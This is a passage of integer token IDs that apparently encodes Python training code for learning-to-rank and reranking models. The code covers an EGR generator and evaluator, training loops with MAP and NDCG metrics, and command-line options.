8722, 29918, 1949, 29892, 4236, 29918, 12324, 29922, 7529, 29889, 3317, 29918, 12324, 29897, 13, 1678, 25342, 8636, 29889, 4299, 29918, 1853, 1275, 525, 11787, 29934, 29918, 27959, 2396, 13, 4706, 1904, 353, 349, 13152, 3195, 29898, 14394, 29918, 2311, 29892, 8636, 29889, 774, 29918, 6229, 29892, 8636, 29889, 10892, 29918, 2311, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29892, 13, 462, 268, 8722, 29918, 1949, 29892, 4236, 29918, 12324, 29922, 7529, 29889, 3317, 29918, 12324, 29892, 1634, 29918, 1949, 29922, 7529, 29889, 3445, 29918, 1949, 29897, 13, 4706, 396, 2313, 20386, 1061, 353, 382, 14345, 29918, 2218, 29883, 20386, 1061, 29898, 14394, 29918, 2311, 29892, 8636, 29889, 774, 29918, 6229, 29892, 8636, 29889, 10892, 29918, 2311, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29892, 13, 4706, 396, 795, 8722, 29918, 1949, 29892, 4236, 29918, 12324, 29922, 7529, 29889, 3317, 29918, 12324, 29897, 13, 4706, 6161, 1061, 353, 382, 14345, 29918, 24219, 1061, 29898, 14394, 29918, 2311, 29892, 8636, 29889, 774, 29918, 6229, 29892, 8636, 29889, 10892, 29918, 2311, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29892, 13, 462, 268, 8722, 29918, 1949, 29892, 4236, 29918, 12324, 29922, 7529, 29889, 3317, 29918, 12324, 29897, 13, 4706, 411, 6161, 1061, 29889, 4262, 29889, 294, 29918, 4381, 580, 408, 330, 29901, 13, 9651, 27937, 353, 15886, 29889, 7317, 29898, 4262, 29922, 29887, 29892, 2295, 29922, 13264, 29889, 3991, 1184, 517, 29898, 29887, 3746, 29918, 6768, 29922, 29887, 3746, 29918, 6768, 876, 13, 9651, 6161, 1061, 29889, 842, 29918, 29879, 404, 29898, 29879, 404, 29897, 13, 9651, 27937, 29889, 3389, 29898, 13264, 29889, 10945, 29918, 20897, 29918, 11228, 3950, 3101, 13, 9651, 6161, 1061, 29889, 1359, 29898, 7529, 29889, 24219, 1061, 29918, 2084, 29897, 13, 13, 4706, 396, 411, 2313, 20386, 1061, 29889, 4262, 29889, 294, 29918, 4381, 580, 408, 330, 29901, 13, 4706, 396, 268, 27937, 353, 15886, 29889, 7317, 29898, 4262, 29922, 29887, 29892, 2295, 29922, 13264, 29889, 3991, 1184, 517, 29898, 29887, 3746, 29918, 6768, 29922, 29887, 3746, 29918, 6768, 876, 13, 4706, 396, 268, 2313, 20386, 1061, 29889, 842, 29918, 29879, 404, 29898, 29879, 404, 29897, 13, 4706, 396, 268, 27937, 29889, 3389, 29898, 13264, 29889, 10945, 29918, 20897, 29918, 11228, 3950, 3101, 13, 13, 1678, 25342, 8636, 29889, 4299, 29918, 1853, 1275, 525, 23718, 29906, 29903, 9632, 2396, 13, 4706, 396, 1904, 353, 25981, 29906, 29903, 9632, 29898, 14394, 29918, 2311, 29892, 18230, 29918, 6229, 29892, 7934, 29918, 2311, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 4236, 29918, 11762, 29918, 2435, 29892, 2944, 29918, 29888, 1949, 29892, 954, 29918, 4117, 29892, 3887, 29897, 13, 4706, 1904, 353, 27146, 3195, 29898, 14394, 29918, 2311, 29892, 8636, 29889, 774, 29918, 6229, 29892, 8636, 29889, 10892, 29918, 2311, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 372, 29885, 29918, 29879, 862, 29918, 29888, 1949, 29892, 372, 29885, 29918, 21518, 29918, 29888, 1949, 29892, 13, 462, 4706, 8722, 29918, 1949, 29892, 4236, 29918, 12324, 29922, 7529, 29889, 3317, 29918, 12324, 29897, 13, 1678, 1683, 29901, 13, 4706, 1596, 877, 3782, 10506, 8125, 742, 8636, 29889, 4299, 29918, 1853, 29897, 13, 4706, 6876, 29898, 29900, 29897, 13, 13, 1678, 411, 1904, 29889, 4262, 29889, 294, 29918, 4381, 580, 408, 330, 29901, 13, 4706, 27937, 353, 15886, 29889, 7317, 29898, 4262, 29922, 29887, 29892, 2295, 29922, 13264, 29889, 3991, 1184, 517, 29898, 29887, 3746, 29918, 6768, 29922, 29887, 3746, 29918, 6768, 876, 13, 4706, 27937, 29889, 3389, 29898, 13264, 29889, 10945, 29918, 20897, 29918, 11228, 3950, 3101, 13, 4706, 27937, 29889, 3389, 29898, 13264, 29889, 2997, 29918, 20897, 29918, 11228, 3950, 3101, 13, 4706, 1904, 29889, 842, 29918, 29879, 404, 29898, 29879, 404, 29897, 13, 13, 13, 1678, 396, 6694, 29918, 3712, 2105, 353, 426, 13, 1678, 396, 268, 525, 14968, 29918, 6758, 2396, 19997, 13, 1678, 396, 268, 525, 791, 29875, 29918, 6758, 2396, 19997, 13, 1678, 396, 268, 525, 1958, 29918, 29880, 2396, 19997, 13, 1678, 396, 268, 525, 299, 29883, 29887, 29918, 29880, 2396, 19997, 13, 1678, 396, 268, 525, 3808, 29879, 29918, 29880, 2396, 19997, 13, 1678, 396, 268, 525, 329, 1793, 29918, 29880, 2396, 19997, 13, 1678, 396, 268, 525, 1958, 29918, 29882, 2396, 29961, 1402, 13, 1678, 396, 268, 525, 299, 29883, 29887, 29918, 29882, 2396, 19997, 13, 1678, 396, 268, 525, 3808, 29879, 29918, 29882, 2396, 19997, 13, 1678, 396, 268, 525, 329, 1793, 29918, 29882, 2396, 19997, 13, 1678, 396, 500, 13, 1678, 6694, 29918, 3712, 2105, 353, 426, 13, 4706, 525, 14968, 29918, 6758, 2396, 19997, 13, 4706, 525, 791, 29875, 29918, 6758, 2396, 19997, 13, 4706, 525, 1958, 29918, 29880, 2396, 19997, 13, 4706, 525, 299, 29883, 29887, 29918, 29880, 2396, 19997, 13, 4706, 525, 3808, 29879, 29918, 29880, 2396, 19997, 13, 4706, 396, 525, 329, 1793, 29918, 29880, 2396, 19997, 13, 4706, 396, 525, 311, 29918, 299, 29883, 29887, 29918, 29880, 2396, 19997, 13, 1678, 500, 13, 13, 1678, 1904, 29918, 978, 353, 22372, 3227, 3227, 3227, 3227, 3227, 3227, 3227, 3227, 29913, 4286, 4830, 29898, 7529, 29889, 16394, 29892, 2847, 29918, 661, 3946, 29892, 8636, 29889, 4299, 29918, 1853, 29892, 8636, 29889, 16175, 29918, 2311, 29892, 13, 462, 18884, 8636, 29889, 29212, 29892, 8636, 29889, 29880, 29906, 29918, 1727, 29892, 8636, 29889, 10892, 29918, 2311, 29892, 8636, 29889, 774, 29918, 6229, 29892, 8636, 29889, 17462, 29918, 22795, 29897, 13, 1678, 565, 451, 2897, 29889, 2084, 29889, 9933, 877, 29912, 6822, 20756, 648, 6822, 8875, 4286, 4830, 29898, 5510, 29889, 7620, 29918, 3972, 29892, 848, 29918, 842, 29918, 978, 29892, 4236, 29918, 2230, 29918, 2435, 22164, 13, 4706, 2897, 29889, 29885, 12535, 12935, 877, 29912, 6822, 20756, 648, 6822, 8875, 4286, 4830, 29898, 5510, 29889, 7620, 29918, 3972, 29892, 848, 29918, 842, 29918, 978, 29892, 4236, 29918, 2230, 29918, 2435, 876, 13, 1678, 565, 451, 2897, 29889, 2084, 29889, 9933, 877, 29912, 6822, 7620, 29918, 4299, 648, 6822, 29912, 6822, 29912, 6822, 4286, 4830, 29898, 5510, 29889, 7620, 29918, 3972, 29892, 848, 29918, 842, 29918, 978, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 1904, 29918, 978, 22164, 13, 4706, 2897, 29889, 29885, 12535, 12935, 877, 29912, 6822, 7620, 29918, 4299, 648, 6822, 29912, 6822, 29912, 6822, 4286, 4830, 29898, 5510, 29889, 7620, 29918, 3972, 29892, 848, 29918, 842, 29918, 978, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 1904, 29918, 978, 876, 13, 1678, 4078, 29918, 2084, 353, 22372, 6822, 7620, 29918, 4299, 648, 6822, 29912, 6822, 29912, 6822, 384, 415, 4286, 4830, 29898, 5510, 29889, 7620, 29918, 3972, 29892, 848, 29918, 842, 29918, 978, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 1904, 29918, 978, 29897, 13, 1678, 1480, 29918, 7620, 29918, 2084, 353, 22372, 6822, 20756, 648, 6822, 29912, 6822, 29912, 1836, 2527, 10817, 4286, 4830, 29898, 5510, 29889, 7620, 29918, 3972, 29892, 848, 29918, 842, 29918, 978, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 1904, 29918, 978, 29897, 13, 13, 13, 1678, 396, 6694, 1889, 13, 1678, 396, 411, 15886, 29889, 7317, 29898, 2917, 29922, 13264, 29889, 3991, 1184, 517, 29898, 29887, 3746, 29918, 6768, 29922, 29887, 3746, 29918, 6768, 876, 408, 27937, 29901, 13, 1678, 396, 268, 27937, 29889, 3389, 29898, 13264, 29889, 10945, 29918, 20897, 29918, 11228, 3950, 3101, 13, 1678, 396, 268, 27937, 29889, 3389, 29898, 13264, 29889, 2997, 29918, 20897, 29918, 11228, 3950, 3101, 13, 13, 1678, 7945, 29918, 6758, 267, 29918, 10568, 353, 5159, 13, 13, 1678, 396, 1434, 6694, 1889, 13, 1678, 4331, 353, 29871, 29900, 13, 1678, 659, 29875, 29918, 6758, 29892, 620, 353, 19745, 29898, 4299, 29892, 1243, 29918, 1445, 29892, 8636, 29889, 29880, 29906, 29918, 1727, 29892, 8636, 29889, 16175, 29918, 2311, 29892, 7700, 29892, 8636, 29889, 16414, 29918, 6078, 29897, 13, 13, 1678, 6694, 29918, 3712, 2105, 1839, 14968, 29918, 6758, 13359, 4397, 29898, 8516, 29897, 13, 1678, 6694, 29918, 3712, 2105, 1839, 791, 29875, 29918, 6758, 13359, 4397, 29898, 8516, 29897, 13, 1678, 6694, 29918, 3712, 2105, 1839, 1958, 29918, 29880, 13359, 4397, 29898, 690, 29961, 29900, 3816, 29900, 2314, 13, 1678, 6694, 29918, 3712, 2105, 1839, 299, 29883, 29887, 29918, 29880, 13359, 4397, 29898, 690, 29961, 29896, 3816, 29900, 2314, 13, 1678, 396, 6694, 29918, 3712, 2105, 1839, 311, 29918, 299, 29883, 29887, 29918, 29880, 13359, 4397, 29898, 690, 29961, 29906, 3816, 29900, 2314, 13, 1678, 6694, 29918, 3712, 2105, 1839, 3808, 29879, 29918, 29880, 13359, 4397, 29898, 690, 29961, 29906, 3816, 29900, 2314, 13, 1678, 396, 6694, 29918, 3712, 2105, 1839, 329, 1793, 29918, 29880, 13359, 4397, 29898, 690, 29961, 29946, 3816, 29900, 2314, 13, 13, 1678, 1596, 703, 1254, 15488, 1273, 29881, 29871, 19578, 25758, 390, 2190, 29968, 1001, 891, 11247, 1799, 12599, 29902, 29901, 4265, 29908, 1273, 4331, 29897, 13, 1678, 363, 474, 29892, 269, 297, 26985, 29898, 7529, 29889, 16414, 29918, 6078, 1125, 13, 4706, 1596, 29475, 29995, 29881, 29871, 341, 3301, 29901, 18695, 29946, 29888, 29871, 405, 29928, 11135, 29901, 18695, 29946, 29888, 29871, 17332, 2965, 17557, 29901, 18695, 29946, 29888, 376, 1273, 313, 29879, 29892, 620, 29961, 29900, 3816, 29875, 1402, 620, 29961, 29896, 3816, 29875, 1402, 620, 29961, 29906, 3816, 29875, 12622, 13, 13, 1678, 4688, 29918, 9847, 353, 7700, 13, 13, 1678, 848, 353, 7945, 29918, 1445, 13, 1678, 848, 29918, 2311, 353, 7431, 29898, 1272, 29961, 29900, 2314, 13, 1678, 9853, 29918, 1949, 353, 848, 29918, 2311, 849, 8636, 29889, 16175, 29918, 2311, 13, 1678, 19745, 29918, 1524, 29918, 1949, 353, 313, 1272, 29918, 2311, 849, 29871, 29945, 29897, 849, 8636, 29889, 16175, 29918, 2311, 13, 1678, 1596, 877, 14968, 742, 848, 29918, 2311, 29892, 9853, 29918, 1949, 29897, 13, 13, 1678, 396, 3380, 6694, 1889, 13, 1678, 363, 21502, 305, 297, 3464, 29898, 7529, 29889, 1022, 2878, 29918, 1949, 1125, 13, 4706, 396, 565, 4688, 29918, 9847, 29901, 13, 4706, 396, 268, 2867, 13, 4706, 363, 9853, 29918, 1217, 297, 3464, 29898, 16175, 29918, 1949, 1125, 13, 9651, 848, 29918, 16175, 353, 679, 29918, 26193, 630, 29918, 16175, 29898, 1272, 29892, 9853, 29918, 2311, 29922, 7529, 29889, 16175, 29918, 2311, 29892, 9853, 29918, 1217, 29922, 16175, 29918, 1217, 29897, 13, 9651, 396, 565, 4688, 29918, 9847, 29901, 13, 9651, 396, 268, 2867, 13, 9651, 565, 8636, 29889, 4299, 29918, 1853, 1275, 525, 11787, 29934, 29918, 27959, 2396, 13, 13, 18884, 848, 29918, 16175, 353, 12312, 29918, 1272, 29898, 1272, 29918, 16175, 29892, 8636, 29889, 3445, 29918, 1949, 29897, 13, 13, 18884, 1044, 29918, 13140, 29918, 449, 29892, 1044, 29918, 771, 5824, 29918, 650, 29892, 364, 29880, 29918, 1028, 29918, 4905, 29879, 29892, 364, 29880, 29918, 311, 29918, 4905, 29879, 29892, 11105, 29918, 2749, 29892, 301, 29886, 29918, 1028, 29918, 1272, 29892, 301, 29886, 29918, 311, 29918, 1272, 29892, 903, 29905, 13, 462, 1678, 353, 1904, 29889, 27711, 29898, 1272, 29918, 16175, 29892, 8636, 29889, 29880, 29906, 29918, 1727, 29897, 13, 13, 18884, 4450, 353, 6161, 1061, 29889, 27711, 29898, 2096, 29918, 1028, 29918, 4905, 29879, 29892, 364, 29880, 29918, 311, 29918, 4905, 29879, 29892, 848, 29918, 16175, 29961, 29953, 2314, 13, 18884, 396, 270, 29918, 11965, 29879, 29892, 270, 29918, 276, 2935, 353, 2313, 20386, 1061, 29889, 27711, 29898, 2096, 29918, 1028, 29918, 4905, 29879, 29892, 364, 29880, 29918, 311, 29918, 4905, 29879, 29892, 848, 29918, 16175, 29961, 29953, 2314, 13, 18884, 396, 337, 2935, 353, 4450, 718, 270, 29918, 276, 2935, 29889, 690, 14443, 3552, 29899, 29896, 29892, 4236, 29918, 2230, 29918, 2435, 876, 334, 274, 29918, 276, 2935, 29918, 29881, 13, 18884, 337, 2935, 353, 4450, 13, 18884, 396, 337, 2935, 353, 4450, 13, 18884, 396, 7945, 364, 29880, 29899, 2872, 804, 13, 18884, 396, 363, 903, 297, 3464, 29898, 5504, 29918, 24530, 1125, 13, 18884, 6410, 29892, 2099, 29918, 2457, 353, 1904, 29889, 14968, 29898, 1272, 29918, 16175, 29892, 364, 29880, 29918, 1028, 29918, 4905, 29879, 29892, 364, 29880, 29918, 311, 29918, 4905, 29879, 29892, 1044, 29918, 771, 5824, 29918, 650, 29892, 1044, 29918, 13140, 29918, 449, 29892, 13, 462, 462, 1678, 337, 2935, 29892, 11105, 29918, 2749, 29892, 8636, 29889, 29883, 29918, 296, 14441, 29892, 8636, 29889, 29212, 29892, 8636, 29889, 29880, 29906, 29918, 1727, 29892, 8636, 29889, 17462, 29918, 22795, 29897, 13, 13, 18884, 396, 7945, 2313, 20386, 1061, 13, 18884, 396, 565, 4331, 1273, 313, 5504, 29918, 10492, 29918, 29881, 334, 938, 29898, 5504, 29918, 24530, 876, 1275, 29871, 29900, 29901, 13, 18884, 396, 268, 270, 29918, 1643, 353, 7442, 29889, 2378, 4197, 29896, 29962, 334, 301, 29886, 29918, 1028, 29918, 1272, 29889, 12181, 29961, 29900, 29962, 718, 518, 29900, 29962, 334, 364, 29880, 29918, 1028, 29918, 4905, 29879, 29889, 12181, 29961, 29900, 2314, 13, 18884, 396, 268, 805, 279, 29918, 1272, 353, 7442, 29889, 535, 29883, 2579, 403, 4197, 22833, 29918, 1028, 29918, 1272, 29892, 364, 29880, 29918, 1028, 29918, 4905, 29879, 1402, 9685, 29922, 29900, 29897, 13, 18884, 396, 268, 6245, 29918, 1272, 353, 7442, 29889, 535, 29883, 2579, 403, 4197, 22833, 29918, 311, 29918, 1272, 29892, 364, 29880, 29918, 311, 29918, 4905, 29879, 1402, 9685, 29922, 29900, 29897, 13, 18884, 396, 268, 19359, 29918, 2435, 353, 7442, 29889, 2378, 29898, 1272, 29918, 16175, 29961, 29953, 29962, 718, 848, 29918, 16175, 29961, 29953, 2314, 13, 18884, 396, 268, 270, 29918, 7827, 29918, 6758, 353, 2313, 20386, 1061, 29889, 14968, 4197, 29879, 862, 29918, 1272, 29892, 6245, 29918, 1272, 29892, 270, 29918, 1643, 29892, 19359, 29918, 2435, 1402, 301, 29878, 29892, 301, 29906, 29918, 1727, 29897, 13, 18884, 396, 268, 1596, 877, 2218, 29892, 4331, 29901, 1273, 29881, 29915, 1273, 313, 10568, 511, 525, 6758, 742, 270, 29918, 7827, 29918, 6758, 29897, 13, 9651, 25342, 8636, 29889, 4299, 29918, 1853, 1275, 525, 23718, 29906, 29903, 9632, 2396, 13, 18884, 1044, 29918, 13140, 29918, 449, 29892, 1044, 29918, 771, 5824, 29918, 650, 29892, 364, 29880, 29918, 1028, 29918, 4905, 29879, 29892, 364, 29880, 29918, 311, 29918, 4905, 29879, 29892, 11105, 29918, 2749, 29892, 301, 29886, 29918, 1028, 29918, 1272, 29892, 301, 29886, 29918, 311, 29918, 1272, 29892, 903, 320, 13, 462, 1678, 353, 1904, 29889, 27711, 29898, 1272, 29918, 16175, 29892, 8636, 29889, 29880, 29906, 29918, 1727, 29897, 13, 18884, 6410, 353, 1904, 29889, 14968, 29898, 1272, 29918, 16175, 29892, 364, 29880, 29918, 1028, 29918, 4905, 29879, 29892, 364, 29880, 29918, 311, 29918, 4905, 29879, 29892, 11105, 29918, 2749, 29892, 8636, 29889, 29212, 29892, 13, 462, 462, 259, 8636, 29889, 29880, 29906, 29918, 1727, 29892, 8636, 29889, 17462, 29918, 22795, 29897, 13, 9651, 1683, 29901, 13, 18884, 6410, 353, 1904, 29889, 14968, 29898, 1272, 29918, 16175, 29892, 8636, 29889, 29212, 29892, 8636, 29889, 29880, 29906, 29918, 1727, 29892, 8636, 29889, 17462, 29918, 22795, 29897, 13, 9651, 4331, 4619, 29871, 29896, 13, 9651, 7945, 29918, 6758, 267, 29918, 10568, 29889, 4397, 29898, 6758, 29897, 13, 13, 9651, 565, 4331, 1273, 19745, 29918, 1524, 29918, 1949, 1275, 29871, 29900, 29901, 13, 18884, 7945, 29918, 6758, 353, 2533, 29898, 14968, 29918, 6758, 267, 29918, 10568, 29897, 847, 7431, 29898, 14968, 29918, 6758, 267, 29918, 10568, 29897, 13, 18884, 6694, 29918, 3712, 2105, 1839, 14968, 29918, 6758, 13359, 4397, 29898, 14968, 29918, 6758, 29897, 13, 18884, 7945, 29918, 6758, 267, 29918, 10568, 353, 5159, 13, 13, 18884, 659, 29875, 29918, 6758, 29892, 620, 353, 19745, 29898, 4299, 29892, 1243, 29918, 1445, 29892, 8636, 29889, 29880, 29906, 29918, 1727, 29892, 8636, 29889, 16175, 29918, 2311, 29892, 5852, 29892, 13, 462, 462, 418, 8636, 29889, 16414, 29918, 6078, 29892, 7700, 29897, 13, 18884, 6694, 29918, 3712, 2105, 1839, 14968, 29918, 6758, 13359, 4397, 29898, 14968, 29918, 6758, 29897, 13, 18884, 6694, 29918, 3712, 2105, 1839, 791, 29875, 29918, 6758, 13359, 4397, 29898, 791, 29875, 29918, 6758, 29897, 13, 18884, 6694, 29918, 3712, 2105, 1839, 1958, 29918, 29880, 13359, 4397, 29898, 690, 29961, 29900, 3816, 29900, 2314, 13, 18884, 6694, 29918, 3712, 2105, 1839, 299, 29883, 29887, 29918, 29880, 13359, 4397, 29898, 690, 29961, 29896, 3816, 29900, 2314, 13, 18884, 396, 6694, 29918, 3712, 2105, 1839, 311, 29918, 299, 29883, 29887, 29918, 29880, 13359, 4397, 29898, 690, 29961, 29906, 3816, 29900, 2314, 13, 18884, 6694, 29918, 3712, 2105, 1839, 3808, 29879, 29918, 29880, 13359, 4397, 29898, 690, 29961, 29906, 3816, 29900, 2314, 13, 18884, 396, 6694, 29918, 3712, 2105, 1839, 329, 1793, 29918, 29880, 13359, 4397, 29898, 690, 29961, 29946, 3816, 29900, 2314, 13, 13, 18884, 1596, 703, 29923, 13152, 3210, 1273, 29881, 317, 4330, 29925, 1273, 29881, 29871, 11247, 1799, 323, 4717, 1177, 29901, 18695, 29946, 29888, 891, 11247, 1799, 12599, 29902, 29901, 18695, 29946, 29888, 29908, 1273, 313, 1022, 2878, 29892, 4331, 29892, 7945, 29918, 6758, 29892, 659, 29875, 29918, 6758, 876, 13, 18884, 363, 474, 29892, 269, 297, 26985, 29898, 7529, 29889, 16414, 29918, 6078, 1125, 13, 462, 1678, 1596, 29475, 29995, 29881, 29871, 341, 3301, 29901, 18695, 29946, 29888, 29871, 405, 29928, 11135, 29901, 18695, 29946, 29888, 29871, 17332, 2965, 17557, 29901, 18695, 29946, 29888, 376, 1273, 313, 29879, 29892, 620, 29961, 29900, 3816, 29875, 1402, 620, 29961, 29896, 3816, 29875, 1402, 620, 29961, 29906, 3816, 29875, 12622, 13, 13, 18884, 565, 6694, 29918, 3712, 2105, 1839, 1958, 29918, 29880, 2033, 14352, 29896, 29962, 1405, 4236, 29898, 26495, 29918, 3712, 2105, 1839, 1958, 29918, 29880, 2033, 7503, 29899, 29896, 29962, 1125, 13, 462, 1678, 396, 4078, 1904, 13, 462, 1678, 1904, 29889, 7620, 29898, 7620, 29918, 2084, 29897, 13, 462, 1678, 282, 6321, 29889, 15070, 29898, 690, 14352, 29896, 1402, 1722, 29898, 1188, 29918, 7620, 29918, 2084, 29892, 525, 29893, 29890, 8785, 13, 462, 1678, 1596, 877, 4299, 7160, 1495, 13, 13, 18884, 565, 7431, 29898, 26495, 29918, 3712, 2105, 1839, 1958, 29918, 29880, 11287, 1405, 29871, 29906, 322, 21502, 305, 1405, 29871, 29900, 29901, 13, 462, 1678, 396, 565, 313, 26495, 29918, 3712, 2105, 1839, 791, 29875, 29918, 6758, 2033, 14352, 29896, 29962, 1405, 6694, 29918, 3712, 2105, 1839, 791, 29875, 29918, 6758, 2033, 14352, 29906, 29962, 322, 13, 462, 1678, 396, 308, 6694, 29918, 3712, 2105, 1839, 791, 29875, 29918, 6758, 2033, 14352, 29906, 29962, 1405, 6694, 29918, 3712, 2105, 1839, 791, 29875, 29918, 6758, 2033, 14352, 29941, 29962, 1125, 13, 462, 1678, 396, 268, 4688, 29918, 9847, 353, 5852, 13, 462, 1678, 565, 313, 26495, 29918, 3712, 2105, 1839, 1958, 29918, 29880, 2033, 14352, 29906, 29962, 448, 6694, 29918, 3712, 2105, 1839, 1958, 29918, 29880, 2033, 14352, 29896, 2314, 5277, 29871, 29900, 29889, 29900, 29896, 322, 313, 13, 462, 9651, 6694, 29918, 3712, 2105, 1839, 1958, 29918, 29880, 2033, 14352, 29941, 29962, 448, 6694, 29918, 3712, 2105, 1839, 1958, 29918, 29880, 2033, 14352, 29906, 2314, 5277, 29871, 29900, 29889, 29900, 29896, 29901, 13, 462, 4706, 4688, 29918, 9847, 353, 5852, 13, 13, 4706, 396, 5706, 1480, 13, 4706, 565, 451, 2897, 29889, 2084, 29889, 9933, 877, 29912, 6822, 20756, 648, 6822, 29912, 6822, 4286, 4830, 29898, 5510, 29889, 7620, 29918, 3972, 29892, 848, 29918, 842, 29918, 978, 29892, 4236, 29918, 2230, 29918, 2435, 22164, 13, 9651, 2897, 29889, 29885, 12535, 12935, 877, 29912, 6822, 20756, 648, 6822, 29912, 6822, 4286, 4830, 29898, 5510, 29889, 7620, 29918, 3972, 29892, 848, 29918, 842, 29918, 978, 29892, 4236, 29918, 2230, 29918, 2435, 876, 13, 4706, 411, 1722, 877, 29912, 6822, 20756, 648, 6822, 29912, 6822, 29912, 1836, 3712, 2105, 29889, 29886, 6321, 4286, 4830, 29898, 5510, 29889, 7620, 29918, 3972, 29892, 848, 29918, 842, 29918, 978, 29892, 4236, 29918, 2230, 29918, 2435, 29892, 1904, 29918, 978, 511, 525, 29893, 29890, 1495, 408, 285, 29901, 13, 9651, 282, 6321, 29889, 15070, 29898, 26495, 29918, 3712, 2105, 29892, 285, 29897, 13, 13, 13, 1753, 364, 261, 804, 261, 29918, 5510, 29918, 5085, 7295, 13, 1678, 13812, 353, 1852, 5510, 29889, 15730, 11726, 580, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 3317, 29918, 2230, 29918, 2435, 742, 2322, 29922, 29896, 29900, 29892, 1134, 29922, 524, 29892, 1371, 2433, 3317, 931, 3309, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 7620, 29918, 3972, 742, 1134, 29922, 710, 29892, 2322, 2433, 6904, 742, 1371, 2433, 3972, 393, 27401, 10748, 322, 1904, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 1272, 29918, 3972, 742, 1134, 29922, 710, 29892, 2322, 2433, 6904, 1272, 29914, 517, 29891, 29914, 742, 1371, 2433, 1272, 4516, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 4299, 29918, 1853, 742, 2322, 2433, 10593, 29924, 742, 19995, 29922, 1839, 10593, 29924, 742, 525, 29928, 12182, 29924, 742, 525, 2697, 29934, 804, 742, 525, 10749, 29943, 742, 525, 2460, 29928, 10262, 742, 525, 23718, 29906, 29903, 9632, 742, 525, 11787, 29934, 29918, 24219, 1061, 742, 525, 11787, 29934, 29918, 27959, 7464, 13, 462, 4706, 1134, 29922, 710, 29892, 1371, 2433, 20567, 1024, 29892, 3704, 12089, 29924, 29892, 360, 12182, 29924, 29892, 3789, 29934, 804, 29892, 402, 20322, 29892, 3737, 29928, 10262, 29892, 25981, 29906, 29903, 9632, 29892, 382, 14345, 29918, 24219, 1061, 29892, 382, 14345, 29918, 27959, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 1272, 29918, 842, 29918, 978, 742, 2322, 2433, 328, 742, 1134, 29922, 710, 29892, 1371, 2433, 978, 310, 8783, 29892, 3704, 594, 322, 544, 29885, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 11228, 29918, 661, 3946, 742, 2322, 2433, 2892, 1529, 13079, 742, 19995, 29922, 1839, 29928, 10262, 742, 525, 2892, 1529, 13079, 7464, 1134, 29922, 710, 29892, 1371, 2433, 978, 310, 8783, 29892, 3704, 360, 10262, 29892, 14013, 1529, 13079, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 1022, 2878, 29918, 1949, 742, 2322, 29922, 29941, 29900, 29892, 1134, 29922, 524, 29892, 1371, 2433, 1022, 2878, 29879, 310, 1269, 12541, 29889, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 16175, 29918, 2311, 742, 2322, 29922, 29896, 29953, 29892, 1134, 29922, 524, 29892, 1371, 2433, 16175, 2159, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 3445, 29918, 1949, 742, 2322, 29922, 29945, 29892, 1134, 29922, 524, 29892, 1371, 2433, 27736, 12312, 1353, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 29212, 742, 2322, 29922, 29896, 29872, 29899, 29946, 29892, 1134, 29922, 7411, 29892, 1371, 2433, 21891, 6554, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 29880, 29906, 29918, 1727, 742, 2322, 29922, 29896, 29872, 29899, 29946, 29892, 1134, 29922, 7411, 29892, 1371, 2433, 29880, 29906, 6410, 6287, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 17462, 29918, 22795, 742, 2322, 29922, 29900, 29889, 29947, 29892, 1134, 29922, 7411, 29892, 1371, 2433, 17462, 6976, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 774, 29918, 6229, 742, 2322, 29922, 29896, 29953, 29892, 1134, 29922, 524, 29892, 1371, 2433, 2311, 310, 23655, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 10892, 29918, 2311, 742, 2322, 29922, 29953, 29946, 29892, 1134, 29922, 524, 29892, 1371, 2433, 10892, 2159, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 2972, 29918, 2311, 742, 2322, 29922, 29896, 29892, 1134, 29922, 524, 29892, 1371, 2433, 2972, 2159, 363, 402, 20322, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 16414, 29918, 6078, 742, 2322, 11759, 29896, 29892, 29871, 29941, 29892, 29871, 29945, 29892, 29871, 29896, 29900, 1402, 1134, 29922, 1761, 29892, 1371, 2433, 1552, 6874, 310, 21556, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 3317, 29918, 12324, 742, 2322, 29922, 29900, 29892, 1134, 29922, 7411, 29892, 1371, 2433, 3317, 6056, 310, 16030, 1495, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 29883, 29918, 296, 14441, 742, 2322, 29922, 29900, 29889, 29900, 29900, 29896, 29892, 1134, 29922, 7411, 29892, 1371, 2433, 296, 14441, 10825, 297, 6410, 1495, 13, 1678, 396, 13812, 29889, 1202, 29918, 23516, 877, 489, 7099, 388, 29918, 24530, 742, 2322, 29922, 29941, 29900, 29900, 29900, 29892, 1134, 29922, 524, 29892, 1371, 2433, 21891, 6554, 20228, 6576, 1495, 13, 1678, 396, 13812, 29889, 1202, 29918, 23516, 877, 489, 7099, 388, 29918, 10492, 742, 2322, 29922, 29896, 29889, 29900, 29892, 1134, 29922, 7411, 29892, 